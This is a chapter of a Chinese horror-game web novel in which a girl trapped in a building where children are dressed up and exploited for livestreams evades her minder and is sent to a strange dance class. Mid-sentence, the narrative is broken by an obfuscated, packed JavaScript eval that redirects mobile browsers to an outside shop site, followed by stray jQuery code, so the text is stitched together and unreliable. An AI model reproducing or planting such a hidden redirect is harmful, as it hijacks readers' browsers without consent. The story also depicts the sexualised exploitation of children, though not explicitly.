林欢宜握着手里的药片:“水,我想要水。”
“死小孩,麻烦死了,当初就该砍掉你的一只手。现在为了装个瞎子,一会吃失明的药,一会吃恢复的药。老娘还要天天侍候你。”
原来是恢复眼睛的药!
一杯水被凿在桌上,微凉的水滴溅到林欢宜的脸颊。
“快喝,吃完药就赶紧滚去训练。”小张甚至不愿意多走几步,将水送到林欢宜的手边,趿着拖鞋走远。
门被关上,寂静包裹着林欢宜,偶尔有些直播带货的声音渗入。
她朝着水杯响起的方向摸去,脖子上的项链灼着她的锁骨。
吴念她们有消息了!
林欢宜一手摸上项链,一手把药片丢进嘴里,然后继续向前摸索。
“我是吴念,安全,清洁工。我的任务是找到女儿。”
林欢宜终于找到了那杯水,将药片吞了下去
没有人应声,吴念继续往下说:“活动范围有限,除了一楼大厅,我的卡能抵达的最低楼层为五楼。五层是训练室,包括声乐、舞蹈等等。六楼为直播场所,七八楼是宿舍。有人在八楼楼梯口和电梯口守着,我上不去。”
药效起作用了,林欢宜眼前的雾气逐渐退散。
一只稚嫩的手,一杯透明的水,一张木色的桌子,一个蓝色的水壶。
还有,一个人!!!
十一二岁的小姑娘坐在凳子上,脸上化着浓重的妆容,黑不溜秋的眼珠子锁定林欢宜,成熟妩媚地撩了撩耳边的碎发。
黑色的包臀裙勾勒出她完全未发育的稚气,黑色的丝袜包裹着她瘦弱的腿骨。
?谁家孩子这么穿衣服,她穿着这么成熟的,莫不是玩家?
“项链,给我。”她不容置疑地开口。
许是听到了林欢宜这边的动静,吴念没有继续往下说。
林欢宜松开握着项链的手,理也不理她。
小姑娘大力跺着地板冲来,像个见到红色的发狂小牛犊。
林欢宜轻轻往旁边一闪。
小姑娘刹不住车,手臂狠狠撞向桌角。她捂着手臂,红着眼转身。
这回她学精了,走到林欢宜跟前,出其不意地甩出手臂。
银色项链勒着林欢宜的后脖,林欢宜扬手将水泼到她脸上。
小姑娘匆忙闭眼,下意识抬手抹脸,越抹越像个调色盘。
林欢宜拎起水壶,后退几步,嗤嗤地笑了起来,还不忘给自己倒了杯水。
“你!”小姑娘睁眼,摸脸的手顿住,火气在脸上升腾。她的脸宛如一块白布,映上红色,黑色与粉色交织。
门被大力打开,小张倚在门前,冷冷地盯着小姑娘:“王小花,听说你们这个月的业绩,不太行啊。琳姐一向稳居第一宝座。黄佳眼红也很正常,但对小孩子动手,也太没品了。”
受不得刺激的王小花旋风一样冲上去,大力撞向小张。
小张得逞勾唇,往侧边挪了几步,露出身后的鞋柜。
王小花手臂在空中摇动,却刹不住脚,眼睁睁看着自己的脑袋冲向鞋柜的尖角。
这么深仇大恨?林欢宜瞪大双眼,拇指“不小心”摁到开盖键,受惊的小鹿般撒开了手。
她忙丢掉杯子试图去接。
冰冷的水在空中飞溅,洒在光滑的地砖上。抢救无果,水壶咕噜噜地在地上翻滚。
王小花脚下打滑,身体往后仰倒,脚踝磕在柜子的棱边上,一屁股坐在地上。
她整个人缩了起来,面色惨白。
林欢宜不甘地咬着后槽牙,双眼恨不得在那滩水上凿出个洞。
小张阴沉地转过头,往前冲了几步,脸上的肌肉抽搐,深吸一口气,话语从齿间蹦出:“你在干什么?”
林欢宜眼里噙着泪,委屈地努嘴,恶狠狠地瞪眼逃过一劫的王小花:“我,对不起,我不是故意的。”
王小花从地上爬起,心有余悸地拍拍自己,一瘸一拐的,头也不回地离开。
小张面目狰狞,拧了把林欢宜的腰:“废物,算计人都算计不明白。还不快滚去跳舞,你也就只剩卖弄姿色这点作用了。”
林欢宜低下头,眼泪从脸颊滑落,默默地甩了个白眼。
小张是吧,你给老娘等着。
算盘落空的小张摔门离去,林欢宜这才得空打量环境。
一个两臂宽的客厅,外面的阳台上密密麻麻挤着不少衣物,严实的防盗网上还五彩斑斓地挂了不少短款衣裤。
孩童的贴身衣物和成熟张扬的裙子高高悬在绳子上。一股妖风吹过,它们卷在了一起,密不可分。
林欢宜心中涌上一股不妙的预感,她低头看自己身上的衣服。
身上只穿了一件粉色的吊带短裙,紧致的布料不放过她身上的每一个线条。
呵——
林欢宜舔了舔嘴唇,压下火气,继续往里走去。
五个门挤在过道上,她挨个走过去。只有一间是厕所,其余四间都上了锁。
这应该是宿舍,她和小张只上了一层楼,这里大概是七楼。
王小花能无声无息地出现在这,而小张对此没有一点多余的反应。说明王小花住在这里,或者与这里的某个人交好。
这宿舍关系不太和谐啊。
但她的药不可能直接放在客厅里,小张从哪给她拿的药?
以小张的性格,如果她随身携带了药片,不会特意跑过来这里。为了以防万一,他们也不会把药给妞妞。
药只会藏在客厅里。
林欢宜脑中不断回忆小张的步伐声音,结合水杯的位置,搜寻大致的方向。
大概会在这里吧。
她拉了拉抽屉,没拉开。
啧!上锁了。
他们把药放到客厅,是在装仁慈骗妞妞吗?
门外有脚步声响起,林欢宜迅速站起,走向门口。
又是一个打扮成熟的儿童。两人跟不认识似的,没有一点眼神交汇。
林欢宜站在走廊里,被一扇扇门包围。狭长的走廊没有一扇窗户,只剩人造灯光循声亮着。
循着来时的方向,她缓慢地走去,顺利找到楼梯。
下到六楼时,各种直播买货以及歌声传来,她去看了眼。
井然有序的空墙像老人稀疏的牙齿,密密麻麻的玻璃门像塞牙的杂物,五颜六色的光泼在白墙上,像人吃了各种带色素的食物。
林欢宜扭头继续
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574014|202355||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
往下走,下一层该是五楼了。
她抬头看着墙上鲜艳的数字——4。
林欢宜脚步顿住,一扭头,一堵白墙挡住了她的去路。
她抬脚踢了一下,白墙纹丝不动。
林欢宜握着项链,喃喃自语道:“四楼,我明明是从六楼下来的。”
怕有人监控,她说完后也未立刻放开,像溺水的人抓住最后一根浮木。
林欢宜大步往前走,本来是楼梯的出口,却被一个玻璃门替代,舞蹈室三个字的牌子挂在门边。
没有走廊,一整层只有一个房间?
真有意思,上面这么挤,这里一个舞蹈室就占了这么大的位置。
她继续往下走,一堵透明的空气墙挡住了她的去路。
林欢宜抬头,那堵白墙出现在了平台和上楼的楼梯之间,连扶手的位置也封死了。
早知道刚刚直接从扶手的位置往下跳,说不定能出去。
她无奈转身,贴近舞蹈室的磨砂玻璃门。
什么也没有,什么也看不见。
舞蹈室的门忽然被人从里拉开,一个穿着舞蹈服的女士出现,她面无表情地看着林欢宜:“你迟到了!”
“老师,对不起,我不是故意的。”林欢宜一秒滑跪。
“是个会道歉的好孩子啊!可惜,迟到是要加训的。”舞蹈老师“和蔼”地扯起嘴角。
林欢宜捏着指尖,朝里面看去。
一群小姑娘腿搭在练功杆上,身上是很正常的舞蹈服,脸上也没有乱七八糟的妆。
林欢宜低头,自己身上的衣服不知什么时候也变成了普通的舞蹈服。
怪不得这舞蹈老师没挑剔她衣服的问题。
衣服谁换就换,这里难道是域中域?
“愣着干什么,还不进来?”舞蹈老师表情不变,一个字一个字地吐出这段话。
林欢宜走进去,找到练功杆上的空位,把自己的腿也搭上去。
压了一会腿,舞蹈老师把孩子都叫过去,她也不讲解动作,直接开始教学。
轻柔的音乐响起,舞蹈老师跳着轻缓的古典舞,有点武学基础的林欢宜轻松跟上。
她的余光往旁边瞄去,大多数孩子都能顺利跟上。有个别手脚不协调的跟不上,但好像也没什么惩罚。
一根鹅毛撩了下她的心脏,心脏不由得左右颤动。
越是平静,就越有问题。
林欢宜丝毫不敢懈怠,一板一眼地跟着舞蹈老师的动作。
舞曲切换,爵士乐响起,舞蹈老师动作迅速有力,跟着乐曲舞动,光看着就令人眼花缭乱。
林欢宜硬着头皮跟学,这个动作还没做完,下一个节拍就到了。
“啊啊啊啊啊——这是什么东西!”尖叫声响起,渗入欢快的曲子中。
汗水在林欢宜的肌肤上流淌,她更不敢分神,疯狂跟学舞蹈老师的动作。
这时,舞蹈老师做了个转到背后的动作。
遭了!这样她根本没办法看下一个动作是什么。
林欢宜没办法,只能硬着头皮转过去,余光偷偷往尖叫的方向看去。
一只成人大腿宽的深红触手蛄蛹着旋转,如同人身上流动的血管。